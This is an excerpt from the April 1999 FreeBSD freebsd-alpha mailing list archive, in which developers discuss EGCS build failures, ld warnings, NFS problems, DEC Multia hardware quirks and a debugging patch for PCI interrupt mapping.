> >> > >> > >> To Unsubscribe: send mail to majordomo@FreeBSD.org > >> with "unsubscribe freebsd-alpha" in the body of the message > >> > > > >----------------------------+-------------------------------------------- > --- > >Chuck Robey | Interests include any kind of voice or data > > >chuckr@picnic.mat.net | communications topic, C programming, and > Unix. > >213 Lakeside Drive Apt T-1 | > >Greenbelt, MD 20770 | I run picnic (FreeBSD-current) > >(301) 220-2114 | and jaunt (Solaris7). > >----------------------------+-------------------------------------------- > --- > > > > > > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-alpha" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 14:12: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150]) by hub.freebsd.org (Postfix) with ESMTP id 09456154BA for ; Mon, 12 Apr 1999 14:11:47 -0700 (PDT) (envelope-from gjp@noop.colo.erols.net) Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net) by noop.colo.erols.net with esmtp (Exim 2.12 #1) id 10Wnx5-0004RR-00; Mon, 12 Apr 1999 17:09:07 -0400 To: Doug Rabson Cc: Hidetoshi Shimokawa , gallatin@cs.duke.edu, freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com From: "Gary Palmer" Subject: Re: EGCS and Alpha builds In-reply-to: Your message of "Sun, 11 Apr 1999 19:26:49 BST." Date: Mon, 12 Apr 1999 17:09:07 -0400 Message-ID: <17076.923951347@noop.colo.erols.net> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Doug Rabson wrote in message ID : > > Anyway, I think egcs on alpha fair enough now. > I have done a few -j8 buildworlds now without problem too. My machine keeps having problems during the perl build. Specifically: Manifying DynaLoader.3 cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|' -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|' -e 's|^[^/]*/||' -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done Manifying B::Asmdata.3 Segmentation fault *** Error code 139 Stop. *** Error code 1 Anyone know what could be causing that? Thanks, Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 14:16:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id CC0EA155CC; Mon, 12 Apr 1999 14:16:08 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id RAA27913; Mon, 12 Apr 1999 17:13:49 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id RAA46051; Mon, 12 Apr 1999 17:13:05 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 12 Apr 1999 17:13:05 -0400 (EDT) To: "Gary Palmer" Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: EGCS and Alpha builds In-Reply-To: <17076.923951347@noop.colo.erols.net> References: <17076.923951347@noop.colo.erols.net> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14098.24886.121441.9631@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Gary Palmer writes: > Doug Rabson wrote in message ID > : > > > Anyway, I think egcs on alpha fair enough now. > > > I have done a few -j8 buildworlds now without problem too. > > My machine keeps having problems during the perl build. Specifically: > > Manifying DynaLoader.3 > cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|' -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|' -e 's|^[^/]*/||' -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done > Manifying B::Asmdata.3 > Segmentation fault > *** Error code 139 > > Stop. > *** Error code 1 > > Anyone know what could be causing that? Are you building with /usr/obj mounted via NFS? NFS seems to have broken in the last week or so.. I can no longer link kernels over NFS without ld dying a horrible death. At first I thought it was the new toolchain, but running a newer kernel on an machine with an old toolchain results in the same behaviour. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 14:22:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150]) by hub.freebsd.org (Postfix) with ESMTP id 6C6C914E95 for ; Mon, 12 Apr 1999 14:22:48 -0700 (PDT) (envelope-from gjp@noop.colo.erols.net) Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net) by noop.colo.erols.net with esmtp (Exim 2.12 #1) id 10Wo8A-0004T9-00; Mon, 12 Apr 1999 17:20:34 -0400 To: Andrew Gallatin Cc: freebsd-alpha@FreeBSD.ORG From: "Gary Palmer" Subject: Re: EGCS and Alpha builds In-reply-to: Your message of "Mon, 12 Apr 1999 17:13:05 EDT." <14098.24886.121441.9631@grasshopper.cs.duke.edu> Date: Mon, 12 Apr 1999 17:20:34 -0400 Message-ID: <17182.923952034@noop.colo.erols.net> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andrew Gallatin wrote in message ID <14098.24886.121441.9631@grasshopper.cs.duke.edu>: > Are you building with /usr/obj mounted via NFS? NFS seems to have > broken in the last week or so.. Nope. Everything is on local disk, and multiple builds have died at that exact point. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 14:37: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cara.sonn.com (cara.sonn.com [206.79.239.6]) by hub.freebsd.org (Postfix) with ESMTP id 3FB6215599 for ; Mon, 12 Apr 1999 14:37:00 -0700 (PDT) (envelope-from snoble@cara.sonn.com) Received: (from snoble@localhost) by cara.sonn.com (8.9.3/8.9.3) id OAA08645; Mon, 12 Apr 1999 14:36:04 -0700 (PDT) Date: Mon, 12 Apr 1999 14:36:04 -0700 From: Steve Noble To: Andrew Gallatin Cc: Hidetoshi Shimokawa , freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com, dfr@nlsystems.com Subject: Re: EGCS and Alpha builds Message-ID: <19990412143604.A6542@sonn.com> References: <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> <14093.2882.917218.258262@grasshopper.cs.duke.edu> <14093.5105.847340.432566@grasshopper.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <14093.5105.847340.432566@grasshopper.cs.duke.edu>; from Andrew Gallatin on Thu, Apr 08, 1999 at 04:40:03PM -0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ditto here, did a clean cvs last night and make buildworld ran flawlessly.. thanks guys :) On Thu, Apr 08, 1999 at 04:40:03PM -0400, Andrew Gallatin wrote: > Andrew Gallatin writes: > > > > > For what its worth, I've just survived 2 'make buildworld && make > > installworld; reboot' ... cycles without make crashing. I've also > -- ------------------------------------------------------------------------------- : Steven Noble / Network Janitor / Be free my soul and leave this world alone : : My views = My views != The views of any of my past or present employers : ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 16: 3:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150]) by hub.freebsd.org (Postfix) with ESMTP id 4A0ED150AC for ; Mon, 12 Apr 1999 16:03:28 -0700 (PDT) (envelope-from gjp@noop.colo.erols.net) Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net) by noop.colo.erols.net with esmtp (Exim 2.12 #1) id 10WphV-0004hH-00 for freebsd-alpha@freebsd.org; Mon, 12 Apr 1999 19:01:09 -0400 To: freebsd-alpha@freebsd.org From: "Gary Palmer" Subject: Errors from LD in buildworld Date: Mon, 12 Apr 1999 19:01:09 -0400 Message-ID: <18058.923958069@noop.colo.erols.net> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Are these Bad(TM)? Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info ===> addr2line cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/addr2line -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbinutils -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils/addr2line.c cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/addr2line -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbinutils -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils -I/usr/obj/usr/src/tmp/usr/include -static -o addr2line addr2line.o -L../libbinutils -lbinutils -L../libbfd -lbfd -L../libiberty -liberty /usr/libexec/elf/ld: warning: cannot find entry symbol __start; defaulting to 00000001200000e0 ===> ar cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ar -I/usr/src/gnu/usr.bin/binutils/ar/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/ar/../libbinutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/bfd -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils/ar.c cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ar -I/usr/src/gnu/usr.bin/binutils/ar/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/ar/../libbinutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/bfd -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils/not-ranlib.c cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ar -I/usr/src/gnu/usr.bin/binutils/ar/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/ar/../libbinutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/bfd -I/usr/obj/usr/src/tmp/usr/include -static -o ar ar.o not-ranlib.o -L../libbinutils -lbinutils -L../libbfd -lbfd -L../libiberty -liberty /usr/libexec/elf/ld: warning: cannot find entry symbol __start; defaulting to 00000001200000e0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 16:14:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 52E2A14BF9; Mon, 12 Apr 1999 16:14:28 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id AAA49812; Tue, 13 Apr 1999 00:16:05 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 13 Apr 1999 00:16:05 +0100 (BST) From: Doug Rabson To: Gary Palmer Cc: freebsd-alpha@freebsd.org Subject: Re: Errors from LD in buildworld In-Reply-To: <18058.923958069@noop.colo.erols.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Gary Palmer wrote: > > Are these Bad(TM)? I don't think so (but I thought they were fixed). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 16:14:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 46BA814BDB; Mon, 12 Apr 1999 16:14:27 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id AAA49804; Tue, 13 Apr 1999 00:15:08 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 13 Apr 1999 00:15:08 +0100 (BST) From: Doug Rabson To: Andrew Gallatin Cc: Gary Palmer , freebsd-alpha@freebsd.org Subject: Re: EGCS and Alpha builds In-Reply-To: <14098.24886.121441.9631@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Andrew Gallatin wrote: > > Gary Palmer writes: > > Doug Rabson wrote in message ID > > : > > > > Anyway, I think egcs on alpha fair enough now. > > > > > I have done a few -j8 buildworlds now without problem too. > > > > My machine keeps having problems during the perl build. Specifically: > > > > Manifying DynaLoader.3 > > cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|' -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|' -e 's|^[^/]*/||' -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done > > Manifying B::Asmdata.3 > > Segmentation fault > > *** Error code 139 > > > > Stop. > > *** Error code 1 > > > > Anyone know what could be causing that? > > Are you building with /usr/obj mounted via NFS? NFS seems to have > broken in the last week or so.. > > I can no longer link kernels over NFS without ld dying a horrible > death. At first I thought it was the new toolchain, but running a > newer kernel on an machine with an old toolchain results in the same > behaviour. Perhaps this is related to the NFS related VM problem that Matt Dillon was just talking about on current? The subject line is "Re: we still have NFS problems in -current?". -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 17:54:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id 42E8714CFD for ; Mon, 12 Apr 1999 17:54:43 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id <2ZZYX4JM>; Mon, 12 Apr 1999 19:50:55 -0500 Message-ID: <50C732FEDE87D211954300A024786203A6B1@archeron.good.com> From: "Gooderum, Mark" To: "'freebsd-alpha@freebsd.org'" Subject: More DEC Multia Questions Date: Mon, 12 Apr 1999 19:50:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I know, I'm just full of them...first, thanks to everyone pointing out the obvious, the Multia fan blows _out_, not _in_. That's what I get for pondering EMail and holding my hand over vents at 2am after changing a flat in 40 Deg rain. Although Bruce's mention of a 3X capacity fan is of Interest...how does one get a hold of McMaster Carr and what's the part #. Anyway... ncr errors: Seeing the ncr0 errors again, first is a 'SCSI phase error: CCB already dequed" followed by repeated "timeout nccb" errors. I have vague memories of similar problems in the early days of working on Sidewinder when the first BSDI 810 support came out. As I remember at the time we actually traced it down to devices occasionally claiming to be faster than they really were during the Fast SCSI negotiation. One of the joys of working for a company big enough to have a SCSI bus analyzer. I'm running with an Elite 9 (external case of course...heh) and I remember them being the offender. I think we got around it by adding a kernel option to force the max data rate. Don't quote me on that, it's been about 4 years. dec_axppci_33_intr_map: bad interrupt pin XX: During boot with the GENERIC kernel, I get bunches of dec_axppci_33_intr_map: bad interrupt pin XX errors. Lots of 30s and one 0x79. Other drivers: Before I waste my time, anyone know if the sound (Multia's have a WSS/MSS compatible on the MB) or lpt/ppbus drivers work on the Alpha port? -- Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 19:56:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from callisto.fortean.com (callisto.fortean.com [209.42.229.241]) by hub.freebsd.org (Postfix) with ESMTP id 0BAC014BFF for ; Mon, 12 Apr 1999 19:56:39 -0700 (PDT) (envelope-from walter@fortean.com) Received: from localhost (walter@localhost) by callisto.fortean.com (8.8.8/8.8.5) with SMTP id WAA08082; Mon, 12 Apr 1999 22:51:28 -0400 (EDT) X-Authentication-Warning: callisto.fortean.com: walter owned process doing -bs Date: Mon, 12 Apr 1999 22:51:27 -0400 (EDT) From: "Bruce M. Walter" To: "Gooderum, Mark" Cc: "'freebsd-alpha@freebsd.org'" Subject: Re: More DEC Multia Questions In-Reply-To: <50C732FEDE87D211954300A024786203A6B1@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I know, I'm just full of them...first, thanks to everyone pointing out the > obvious, the Multia fan blows _out_, not _in_. That's what I get for > pondering EMail and holding my hand over vents at 2am after changing a flat > in 40 Deg rain. Although Bruce's mention of a 3X capacity fan is of > Interest...how does one get a hold of McMaster Carr and what's the part #. See the 'My Multia doubles as a space heater' section of: ftp://ftp.tuwien.ac.at/opsys/aux/netbsd/htdocs/Ports/alpha/multiafaq.html for lots of good Multia info along with the part numbers for several fans from McMaster Carr. I've got a bunch of Multia urls compiled and if I get through this list of who's naughty and who's nice before December, I'll post it somewhere accessible. ;) Please note that I can confirm the authors claim that the Multia which once doubled as a space heater now sounds like a turbo-prop airplane. Ciest la vie! > Seeing the ncr0 errors again, first is a 'SCSI phase error: CCB already > dequed" followed by repeated "timeout nccb" errors. Is this an (older) Quantum drive? I originally had mine hooked up to an LPS 500mb, which the NCR did NOT like... Replacing it with a newer Quantum 2.1gb and an IBM DCARS did the trick. Apparently Quantum's older firmware really was quite sketchy. > dec_axppci_33_intr_map: bad interrupt pin XX: > > During boot with the GENERIC kernel, I get bunches of > dec_axppci_33_intr_map: bad interrupt pin XX errors. Lots of 30s and one > 0x79. The flaky DEC Multia firmware strikes again. Wilko and others are rumored to have a copy of an unreleased firmware revision from DEC which solves this problem. Chances are it is the fw which originated from Chris Demetriou, but I've not been able to get a hold of it. Basically, the PCI controller is finding nonexistant garbage devices at every possible address on the bus. It *SHOULDN'T* actually do any harm, but one never knows... Just to let you know, I replaced my non-pci-slot NCR riser with the model which has a pci slot naievely thinking it may help. Bzzzzzzzzzzzzzz. Wrong answer :( - Bruce ______________________ Bruce M. Walter, Principal NIXdesign Group Inc. 426 S. Dawson Street Raleigh NC 27601 USA 919.829.4901 Tel (ext 11) 919.829.4993 Fax http://www.nixdesign.com Visual communications | concept + code To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 21: 1:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 85E2E14EA0 for ; Mon, 12 Apr 1999 21:01:56 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id UAA12209; Mon, 12 Apr 1999 20:59:36 -0700 (PDT) Message-Id: <199904130359.UAA12209@lestat.nas.nasa.gov> To: "Gooderum, Mark" Cc: "'freebsd-alpha@freebsd.org'" Subject: Re: More DEC Multia Questions Reply-To: Jason Thorpe From: Jason Thorpe Date: Mon, 12 Apr 1999 20:59:35 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999 19:50:32 -0500 "Gooderum, Mark" wrote: > Before I waste my time, anyone know if the sound (Multia's have a WSS/MSS > compatible on the MB) or lpt/ppbus drivers work on the Alpha port? The audio works well under NetBSD/alpha; FreeBSD/alpha, on the other hand, has no support for ISA DMA on the Alpha (last time I checked the code). -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 22:38:53 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id D1F9E14E42 for ; Mon, 12 Apr 1999 22:38:45 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id <2ZZYX4LT>; Tue, 13 Apr 1999 00:34:58 -0500 Message-ID: <50C732FEDE87D211954300A024786203A6B2@archeron.good.com> From: "Gooderum, Mark" To: 'Doug Rabson' Cc: "'freebsd-alpha@freebsd.org'" Subject: RE: FreeBSD Alpha and NICs Date: Tue, 13 Apr 1999 00:34:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The saga continues... > -----Original Message----- > From: Doug Rabson [mailto:dfr@nlsystems.com] > Sent: Saturday, April 10, 1999 12:35 PM > To: Gooderum, Mark > Cc: 'freebsd-alpha@freebsd.org' > Subject: Re: FreeBSD Alpha and NICs > > > On Fri, 9 Apr 1999, Gooderum, Mark wrote: > >> ... > > I fixed a bug in subr_rman.c where more than two clients attempted to > share a resource. Can you check that you have version 1.5 of > subr_rman.c The 3/26 snapshot has V1.4, however, the copy of current I've been building has V1.5. But I was stubborn and bored and got curious...first I went snooping and found dec_axppci_33_intr_map() in dec_axppci_33.c. A minor fix to some debugging code gave me the following information: ... Probing for devices on PCI bus 0: dec_axppci_33_intr_map: slot 6, pin A: pirq 3, reg = b0f0f0a dec_axppci_33_intr_map: slot 6, pin A: mapped to line 11 ncr0: rev 0x01 int a irq 11 on pci0.6.0 chip0: rev 0x03 on pci0.7.0 dec_axppci_33_intr_map: slot 8, pin A: pirq 2, reg = b0f0f0a dec_axppci_33_intr_map: slot 8, pin A: mapped to line 15 de0: rev 0x23 int a irq 15 on pci0.8.0 de0: DEC 21040 [10Mb/s] pass 2.3 de0: address 08:00:2b:e2:c7:eb dec_axppci_33_intr_map: slot 11, pin A: pirq 0, reg = b0f0f0a dec_axppci_33_intr_map: slot 11, pin A: mapped to line 10 dec_axppci_33_intr_map: slot 12, pin A: pirq 1, reg = b0f0f0a dec_axppci_33_intr_map: slot 12, pin A: mapped to line 15 pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0 fatal kernel trap: ... Tracing things out, each slot corresponds to one byte in the SIO_PCIREG_PIRQ_RTCTRL PCI config register. The mapping of which slot to which byte is based on some magic number (pirq) that is calculated based on the slot number and the "intpin" PCI config value. (Whatever the magic is, the 2100 machine code has it in common). BTW...the "mystery" device in slot 11 has a vendor ID of 0041011 and a rev of 03800002 according to sniff_pci_bus in the SRM console, not sure what it is, the builtin IDE interface? I got similar results with both a second DEC Ethernet and with a Netgear card. The pirqreg value is 0x0b0f0f0a. Going by the bit logic and code, this works out to IRQ 11 (0b) for ncr0, IRQ 15 for de0 and de1 and/or pn0, and IRQ 10 for the mystery device in slot 11. Earlier I hacked kern_intr.c and pci_compat.c to gracefully return errors all the way back to xx_attach()instead of falling through and dereferencing NULL pointers. This allowed the box to boot but would cause a lockup (if 2nd card another DEC card) or a panic (if 2nd card the Netgear card) which sort of makes sense. So feeling really, really bored with what I should be working on... I modified dec_axppci_33_intr_map() with a rude hack (see below) to force changing the the PCI/IRQ mapping config register to give the 2nd Ethernet card a seperate IRQ, and viola, the system boots, the card probes, it can be ifconfiged, etc. However, trying to use the card fails. Basically the arp never succeeds. I haven't gone so far as to sniff to see if the packet is making it onto the wire. The Netgear card gives an occaisional watchdog timer error, the DEC based (21140) card gives nothing. Doing an ifconfig shows that the media autosense for both cards worked properly (whether 10BaseT or 100BaseTX). So the card on the original IRQ works and the remapped one doesn't quite. So, next step was to change the hack to force the IRQ on the builtin interface instead of the 2nd interface. I did this on the 2nd card and it seems to work, so again, the remapped card doesn't. So the card functions, but my hack to rewrite the PCI config register isn't enough to change the mapping. I made one more try w/forceing to IRQ 5 but gave a panic right after the remapped interface was ifconfig'ed. So that's how far I am. I don't know if there are any references on the Alpha and/or Multia architechure. Unfortunately there is no SRM analouge for isacfg like pcicfg. Also I can't think of any elegant general work around, the system seems to just plain come up with the cards configured to a shared IRQ - which FreeBSD just doesn't tolerate. -- Mark +++ dec_axppci_33.c Mon Apr 12 21:47:28 1999 @@ -76,6 +76,10 @@ #define NSIO_CFG2 2 #define NSIO_IDE_ENABLE 0x40 +#define DEBUG_IRQMAP 1 +#define PIRQ_FORCE_IRQ 1 +#define PIRQ_FORCE_IRQ_TO 14 + void dec_axppci_33_init() { @@ -173,6 +177,11 @@ int pirq; u_int32_t pirqreg; u_int8_t pirqline; +#ifdef PIRQ_FORCE_IRQ + u_int32_t npirqreg; + u_int32_t workmask; + static int force_done = 0; +#endif #ifndef DIAGNOSTIC pirq = 0; /* XXX gcc -Wuninitialized */ @@ -275,18 +284,35 @@ } pirqreg = chipset.cfgreadl(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL); -#if 0 - printf("dec_axppci_33_intr_map: device %d pin %c: pirq %d, reg = %x\n", - device, '@' + cfg->intpin, pirq, pirqreg); +#ifdef PIRQ_FORCE_IRQ + if (!force_done) { + workmask = ((u_int32_t) 0xFF) << (PIRQ_FORCE_IRQ * 8); + pirqreg &= ~workmask; + workmask = ((u_int32_t) PIRQ_FORCE_IRQ_TO) << (PIRQ_FORCE_IRQ * 8); + npirqreg = pirqreg | workmask; + printf("dec_axppci_33_intr_map: Force PIRQ o=%x -> n=%x\n", + pirqreg, npirqreg); + chipset.cfgwritel(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL, npirqreg); + pirqreg = chipset.cfgreadl(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL); + if (pirqreg != npirqreg) { + printf("dec_axppci_33_intr_map: Force PRIQ failed, n=%x, p=%x\n", + npirqreg, pirqreg); + } + force_done = 1; + } +#endif +#ifdef DEBUG_IRQMAP + printf("dec_axppci_33_intr_map: slot %d, pin %c: pirq %d, reg = %x\n", + cfg->slot, '@' + cfg->intpin, pirq, 